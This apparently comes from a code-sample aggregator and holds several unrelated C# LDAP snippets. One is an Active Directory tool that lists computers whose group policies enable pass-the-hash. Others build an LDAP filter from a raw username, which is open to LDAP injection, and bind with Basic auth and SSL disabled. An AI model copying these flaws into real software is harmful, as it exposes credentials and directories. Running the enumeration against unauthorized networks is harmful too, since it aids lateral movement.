            // FSB also always has the same contextoptions so there is no need to lock the code that is modifying the current connection
            if (attemptFastConcurrent && _fastConcurrentSupported)
            {
                lockedLdapBind(current, creds, contextOptions);
            }
            else
            {
                lock (_cacheLock)
                {
                    lockedLdapBind(current, creds, contextOptions);
                }
            }
            return true;
        }
Пример #36
0
 /// <summary>
 /// Create a connection to the LDAP server at the given host and port.
 /// </summary>
 /// <param name="host">The FQDN or IP of the LDAP host.</param>
 /// <param name="port">The port number of the LDAP host.</param>
 /// <param name="useSsl">Whether or not to use SSL.</param>
 /// <param name="verifyCert">Whether or not to verify the server certificate.</param>
 /// <param name="cert">A certificate to verify against the server's certificate (can be null).  If this is null,
 /// and verifyCert is true, then the server's cert is verified with the Windows certificate store.</param>
 public LdapServer(string[] hosts, int port, bool useSsl, bool verifyCert, X509Certificate2 cert)
 {
     m_logger.DebugFormat("Initializing LdapServer host(s): [{0}], port: {1}, useSSL = {2}, verifyCert = {3}",
         string.Join(", ", hosts), port, useSsl, verifyCert);
     m_conn = null;
     m_serverIdentifier = new LdapDirectoryIdentifier(hosts, port, false, false);
     m_useSsl = useSsl;
     m_verifyCert = verifyCert;
     m_cert = cert;
 }
Пример #37
0
 public LdapConnection(LdapDirectoryIdentifier identifier, NetworkCredential credential) : this(identifier, credential, AuthType.Negotiate)
 {
 }
Пример #38
0
 private LdapDirectoryIdentifier CreateIdentifier()
 {
     string connectionString = this.ServerIP + ":" + this.PortNumber;
     LdapDirectoryIdentifier id = new LdapDirectoryIdentifier(connectionString);
     return id;
 }
Пример #39
0
 internal LdapConnection(LdapDirectoryIdentifier identifier, NetworkCredential credential, AuthType authType, IntPtr handle)
 {
     directoryIdentifier = identifier;
     needDispose = false;
     ldapHandle = new ConnectionHandle(handle, needDispose);
     directoryCredential = credential;
     _connectionAuthType = authType;
     _options = new LdapSessionOptions(this);
     clientCertificateRoutine = new QUERYCLIENTCERT(ProcessClientCertificate);
 }
Пример #40
0
        private int ProcessQueryConnection(IntPtr PrimaryConnection, IntPtr ReferralFromConnection, IntPtr NewDNPtr, string HostName, int PortNumber, SEC_WINNT_AUTH_IDENTITY_EX SecAuthIdentity, Luid CurrentUserToken, ref IntPtr ConnectionToUse)
        {
            ConnectionToUse = IntPtr.Zero;
            string NewDN = null;

            // user must have registered callback function
            Debug.Assert(_callbackRoutine.QueryForConnection != null);

            // user registers the QUERYFORCONNECTION callback
            if (_callbackRoutine.QueryForConnection != null)
            {
                if (NewDNPtr != (IntPtr)0)
                    NewDN = Marshal.PtrToStringUni(NewDNPtr);
                StringBuilder target = new StringBuilder();
                target.Append(HostName);
                target.Append(":");
                target.Append(PortNumber);
                LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(target.ToString());
                NetworkCredential cred = ProcessSecAuthIdentity(SecAuthIdentity);
                LdapConnection tempReferralConnection = null;
                WeakReference reference = null;

                // if referrafromconnection handle is valid
                if (ReferralFromConnection != (IntPtr)0)
                {
                    lock (LdapConnection.objectLock)
                    {
                        //make sure first whether we have saved it in the handle table before
                        reference = (WeakReference)(LdapConnection.handleTable[ReferralFromConnection]);
                        if (reference != null && reference.IsAlive)
                        {
                            // save this before and object has not been garbage collected yet.
                            tempReferralConnection = (LdapConnection)reference.Target;
                        }
                        else
                        {
                            if (reference != null)
                            {
                                // connection has been garbage collected, we need to remove this one
                                LdapConnection.handleTable.Remove(ReferralFromConnection);
                            }
                            // we don't have it yet, construct a new one
                            tempReferralConnection = new LdapConnection(((LdapDirectoryIdentifier)(_connection.Directory)), _connection.GetCredential(), _connection.AuthType, ReferralFromConnection);

                            // save it to the handle table
                            LdapConnection.handleTable.Add(ReferralFromConnection, new WeakReference(tempReferralConnection));
                        }
                    }
                }

                long tokenValue = (long)((uint)CurrentUserToken.LowPart + (((long)CurrentUserToken.HighPart) << 32));

                LdapConnection con = _callbackRoutine.QueryForConnection(_connection, tempReferralConnection, NewDN, identifier, cred, tokenValue);
                if (null != con && null != con.ldapHandle && !con.ldapHandle.IsInvalid)
                {
                    bool success = AddLdapHandleRef(con);
                    if (success)
                    {
                        ConnectionToUse = con.ldapHandle.DangerousGetHandle();
                    }
                }
                return 0;
            }
            else
            {
                // user does not take ownership of the connection
                return 1;
            }
        }
Пример #41
0
        public DirectoryEntry Validate(string username, string password)
        {
            var config = Config.Get<Settings>();
            var directory = new LdapDirectoryIdentifier(
                config.Host,
                config.Port,
                fullyQualifiedDnsHostName: true,
                connectionless: false);

            var credential = new NetworkCredential(
                config.Username,
                config.Password);

            var ldapConnection = new LdapConnection(directory, credential)
            {
                AuthType = AuthType.Basic
            };
            try
            {
                ldapConnection.SessionOptions.ProtocolVersion = 3;

                var request = new SearchRequest(
                        config.DistinguishedName,
                        "(&(objectClass=*)(uid=" + username + "))",
                        SearchScope.Subtree,
                        new string[] { "uid", "givenName", "sn", "mail" });

                var result = (SearchResponse)ldapConnection.SendRequest(request);

                if (result.Entries.Count == 0)
                    return null;

                var item = result.Entries[0];
                try
                {
                    ldapConnection.Bind(new NetworkCredential(item.DistinguishedName, password));
                }
                catch (Exception ex)
                {
                    Log.Error("Error authenticating user", ex, this.GetType());
                    return null;
                }

                // make sure to check these attribute names match with your LDAP attributes
                var uid = item.Attributes["uid"];
                var firstName = item.Attributes["givenName"];
                var lastName = item.Attributes["sn"];
                var email = item.Attributes["mail"];

                var entry = new DirectoryEntry
                {
                    Username = uid[0] as string,
                    FirstName = uid.Count > 0 ? firstName[0] as string : null,
                    LastName = lastName.Count > 0 ? lastName[0] as string : null,
                    Email = email.Count > 0 ? email[0] as string : null
                };

                return entry;
            }
            finally
            {
                try
                {
                    ldapConnection.Dispose();
                }
                catch
                {
                }
            }
        }
        static void Main(string[] args)
        {
            string domain           = "";
            string domainController = "";
            string searchScope      = "";
            string searchBase       = "";
            bool   verbose          = false;

            var Options = new Options();

            if (CommandLineParser.Default.ParseArguments(args, Options))
            {
                if (Options.help == true)
                {
                    PrintHelp();
                    return;
                }
                if (!string.IsNullOrEmpty(Options.domain))
                {
                    domain = Options.domain;
                }
                if (string.IsNullOrEmpty(Options.searchScope))
                {
                    searchScope = "SubTree";
                }
                else
                {
                    searchScope = Options.searchScope;
                }
                if (!string.IsNullOrEmpty(Options.domainController))
                {
                    domainController = Options.domainController;
                }
                if (Options.verbose)
                {
                    verbose = true;
                }
                if (!string.IsNullOrEmpty(Options.searchBase))
                {
                    searchBase = Options.searchBase;
                }
            }

            var listEnableLUA = new List <string>();
            var listFilterAdministratorToken          = new List <string>();
            var listLocalAccountTokenFilterPolicy     = new List <string>();
            var listSeDenyNetworkLogonRight           = new List <string>();
            var listSeDenyRemoteInteractiveLogonRight = new List <string>();
            var computerPolicyEnableLUA = new List <string>();
            var computerPolicyFilterAdministratorToken          = new List <string>();
            var computerPolicyLocalAccountTokenFilterPolicy     = new List <string>();
            var computerPolicySeDenyNetworkLogonRight           = new List <string>();
            var computerPolicySeDenyRemoteInteractiveLogonRight = new List <string>();

            //discover current domain
            System.DirectoryServices.ActiveDirectory.Domain current_domain = null;

            if (string.IsNullOrEmpty(domain))
            {
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain();
                    domain         = current_domain.Name;
                }
                catch
                {
                    Console.WriteLine("[!] Cannot enumerate domain.\n");
                    return;
                }
            }
            else
            {
                DirectoryContext domainContext = new DirectoryContext(DirectoryContextType.Domain, domain);
                try
                {
                    current_domain = System.DirectoryServices.ActiveDirectory.Domain.GetDomain(domainContext);
                }
                catch
                {
                    Console.WriteLine("\n[!] The specified domain does not exist or cannot be contacted. Exiting...\n");
                    return;
                }
            }

            if (string.IsNullOrEmpty(Options.domainController))
            {
                domainController = current_domain.FindDomainController().Name;
            }
            else
            {
                var ldapId = new LdapDirectoryIdentifier(Options.domainController);
                using (var testConnection = new LdapConnection(ldapId))
                {
                    try
                    {
                        testConnection.Bind();
                    }
                    catch
                    {
                        Console.WriteLine("\n[!] The specified domain controller cannot be contacted. Exiting...\n");
                        return;
                    }
                }
            }

            domain = domain.ToLower();

            String[] DC_array           = null;
            String   distinguished_name = null;

            distinguished_name = "CN=Policies,CN=System";
            DC_array           = domain.Split('.');

            foreach (String DC in DC_array)
            {
                distinguished_name += ",DC=" + DC;
            }

            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(domainController, 389);
            System.DirectoryServices.Protocols.LdapConnection          connection = null;

            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);
            connection.SessionOptions.Sealing = true;
            connection.SessionOptions.Signing = true;

            try
            {
                connection.Bind();
            }
            catch
            {
                Console.WriteLine("The domain controller cannot be contacted. Exiting...\n");
                return;
            }

            SearchRequest requestGUID = null;

            if (string.Equals(searchScope, "SubTree"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Subtree, null);
            }
            else if (string.Equals(searchScope, "OneLevel"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.OneLevel, null);
            }
            else if (string.Equals(searchScope, "Base"))
            {
                requestGUID = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=*", System.DirectoryServices.Protocols.SearchScope.Base, null);
            }

            SearchResponse responseGUID = null;

            try
            {
                responseGUID = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestGUID);
            }
            catch
            {
                Console.WriteLine("\n[!] Search scope is not valid. Exiting...\n");
                return;
            }

            if (!string.IsNullOrEmpty(Options.searchBase))
            {
                string adPath = "LDAP://" + domain + searchBase;
                if (!DirectoryEntry.Exists(adPath))
                {
                    Console.WriteLine("\n[!] Search base {0} is not valid. Exiting...\n", adPath);
                    return;
                }
            }

            Console.WriteLine("\n[-] Domain Controller is: {0}\n[-] Domain is: {1}\n", domainController, domain);

            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in responseGUID.Entries)
            {
                try
                {
                    var requestAttributes  = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "cn=" + entry.Attributes["cn"][0].ToString(), System.DirectoryServices.Protocols.SearchScope.OneLevel, null);
                    var responseAttributes = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(requestAttributes);
                    foreach (System.DirectoryServices.Protocols.SearchResultEntry attribute in responseAttributes.Entries)
                    {
                        try
                        {
                            string displayName    = entry.Attributes["displayName"][0].ToString();
                            string name           = entry.Attributes["name"][0].ToString();
                            string gpcfilesyspath = entry.Attributes["gpcfilesyspath"][0].ToString();

                            string uncPathGptTmpl = gpcfilesyspath + @"\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf";

                            bool enableLUA = CheckEnableLUA(uncPathGptTmpl);

                            if (enableLUA)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO enables pass-the-hash by disabling EnableLUA: {0} {1}", displayName, name);
                                }
                                listEnableLUA.Add(name);
                            }

                            bool FilterAdministratorToken = CheckFilterAdministratorToken(uncPathGptTmpl);

                            if (FilterAdministratorToken)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO exempts the RID 500 account from UAC protection by disabling FilterAdministratorToken: {0} {1}", displayName, name);
                                }
                                listFilterAdministratorToken.Add(name);
                            }

                            string uncPathRegistryXML = gpcfilesyspath + @"\MACHINE\Preferences\Registry\Registry.xml";

                            bool LocalAccountTokenFilterPolicy = CheckLocalAccountTokenFilterPolicy(uncPathRegistryXML);

                            if (LocalAccountTokenFilterPolicy)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO enables pass-the-hash by enabling LocalAccountTokenFilterPolicy: {0} {1}", displayName, name);
                                }
                                listLocalAccountTokenFilterPolicy.Add(name);
                            }

                            bool SeDenyNetworkLogonRight = CheckSeDenyNetworkLogonRight(uncPathGptTmpl);

                            if (SeDenyNetworkLogonRight)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyNetworkLogonRight: {0} {1}", displayName, name);
                                }
                                listSeDenyNetworkLogonRight.Add(name);
                            }

                            bool SeDenyRemoteInteractiveLogonRight = CheckSeDenyRemoteInteractiveLogonRight(uncPathGptTmpl);

                            if (SeDenyRemoteInteractiveLogonRight)
                            {
                                if (verbose)
                                {
                                    Console.WriteLine("[+] The following GPO includes the built-in Administrators group within the SeDenyRemoteInteractiveLogonRight: {0} {1}\n", displayName, name);
                                }
                                listSeDenyRemoteInteractiveLogonRight.Add(name);
                            }
                        }
                        catch
                        {
                            Console.WriteLine("[!] It was not possible to retrieve the displayname, name and gpcfilesypath...\n");
                            return;
                        }
                    }
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve GPO Policies...\n");
                    return;
                }
            }

            Console.Write("\n[+] EnableLUA: \t\t\t\t");
            foreach (var guid in listEnableLUA)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";

                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyEnableLUA.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyEnableLUA.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            //Console.Write("\n");

            Console.Write("\n[+] FilterAdministratorToken: \t\t");
            foreach (var guid in listFilterAdministratorToken)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyFilterAdministratorToken.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyFilterAdministratorToken.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] LocalAccountTokenFilterPolicy: \t");
            foreach (var guid in listLocalAccountTokenFilterPolicy)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicyLocalAccountTokenFilterPolicy.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicyLocalAccountTokenFilterPolicy.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] SeDenyNetworkLogonRight: \t\t");
            foreach (var guid in listSeDenyNetworkLogonRight)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }

                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicySeDenyNetworkLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicySeDenyNetworkLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");

            Console.Write("[+] SeDenyRemoteInteractiveLogonRight: \t");
            foreach (var guid in listSeDenyRemoteInteractiveLogonRight)
            {
                DirectoryEntry startingPoint = null;
                string         filterGPLink  = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))";
                if (string.IsNullOrEmpty(searchBase))
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain);
                }
                else
                {
                    startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase);
                }
                DirectorySearcher searcher = new DirectorySearcher(startingPoint);
                searcher.Filter = filterGPLink;

                foreach (SearchResult OU in searcher.FindAll())
                {
                    DirectoryEntry    startingPoint1 = new DirectoryEntry(OU.Path);
                    DirectorySearcher searcherOU     = new DirectorySearcher(startingPoint1);
                    searcherOU.Filter = "(&(samAccountType=805306369))";
                    foreach (SearchResult computerObject in searcherOU.FindAll())
                    {
                        DirectoryEntry computer = computerObject.GetDirectoryEntry();
                        if (!(computerPolicySeDenyRemoteInteractiveLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString())))
                        {
                            Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString());
                        }
                        computerPolicySeDenyRemoteInteractiveLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString());
                    }
                }
            }
            Console.Write("\n");
        }
        public User authenticateBoundary(string email, string password)
        {
            ldapId = new LdapDirectoryIdentifier(HOST, PORT);
            network = new NetworkCredential(DN.Replace("{0}", email), password);

            using (LdapConnection connection = new LdapConnection(ldapId, network, AuthType.Basic))
            {
                try
                {
                    connection.SessionOptions.SecureSocketLayer = false;
                    connection.SessionOptions.ProtocolVersion = 3;
                    connection.Bind();

                    connection.Dispose();

                    return queryLdap(email);
                }
                catch (LdapException ex)
                {
                    throw new BusinessException(ex.Message);
                }
                catch (Exception e)
                {
                    throw new PlatformException(e.Message);
                }
            }
        }